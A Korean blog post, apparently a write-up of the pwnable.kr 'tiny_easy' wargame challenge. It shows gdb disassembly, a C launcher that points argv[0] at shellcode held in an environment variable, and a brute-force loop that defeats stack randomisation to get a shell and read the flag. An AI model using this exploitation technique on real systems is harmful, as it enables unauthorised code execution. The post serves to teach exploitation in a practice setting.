먼저 readelf -h로 엔트리 포인트 확인 ... ( Entry point address: 0x8048054)
디버깅 결과
(gdb) b *0x8048054
Breakpoint 1 at 0x8048054
(gdb) r
Starting program: /home/tiny_easy/tiny_easy
Breakpoint 1, 0x08048054 in ?? ()
(gdb) x/10i $eip
=> 0x8048054: pop %eax
0x8048055: pop %edx
0x8048056: mov (%edx),%edx
0x8048058: call *%edx
0x804805a: add %al,(%eax)
.....
(gdb) x/4x $esp
0xff998890: 0x00000001 0xff99a783 0x00000000 0xff99a79d
(gdb)
=> argv[0] 값으로 eip를 바꿔주는 역할을 한다.
환경 변수에 쉘코드 올리고 argv[0]을 쉘코드 주소로 하는 프로그램을 아래와 같이 작성한다.
#include <stdio.h>
#include <unistd.h>
int main()
{
char buf[] = "\x11\x11\x91\xff";
execl("/home/tiny_easy/tiny_easy", buf, 0);
return 0;
}
랜덤 스택이기 때문에 brute force ~~~~ 하면 쉘이 나온다.
while [ 1 ]; do ./a.out; done
$ cd /home/tiny_easy
$ ls
flag tiny_easy
$ cat flag
What a tiny task :) good job!
'Wargame > pwnable.kr' 카테고리의 다른 글
[Grotesque] wtf (0) | 2015.02.25 |
---|---|
[Hacker's Secret] unexploitable (0) | 2014.07.27 |
[Rookiss] simple login (0) | 2014.07.27 |
[Rookiss] brain fuck (0) | 2014.07.26 |
[Rookiss] ascii_easy (0) | 2014.07.21 |